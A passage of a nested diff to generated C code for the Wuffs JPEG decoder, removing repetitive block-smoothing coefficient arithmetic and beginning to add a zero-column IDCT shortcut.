wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][3u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][10u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][10u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][10u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][17u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][17u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][17u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][24u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][24u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][24u] = ((uint16_t)(v_scratch)); +- } ++ if (0u == (self->private_data.f_mcu_blocks[0u][10u] | ++ self->private_data.f_mcu_blocks[0u][18u] | ++ self->private_data.f_mcu_blocks[0u][26u] | ++ self->private_data.f_mcu_blocks[0u][34u] | ++ self->private_data.f_mcu_blocks[0u][42u] | ++ self->private_data.f_mcu_blocks[0u][50u] | ++ self->private_data.f_mcu_blocks[0u][58u])) { ++ v_intermediate[2u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))) << 2u)); ++ v_intermediate[10u] = v_intermediate[2u]; ++ v_intermediate[18u] = v_intermediate[2u]; ++ v_intermediate[26u] = v_intermediate[2u]; ++ v_intermediate[34u] = v_intermediate[2u]; ++ v_intermediate[42u] = v_intermediate[2u]; ++ v_intermediate[50u] = v_intermediate[2u]; ++ 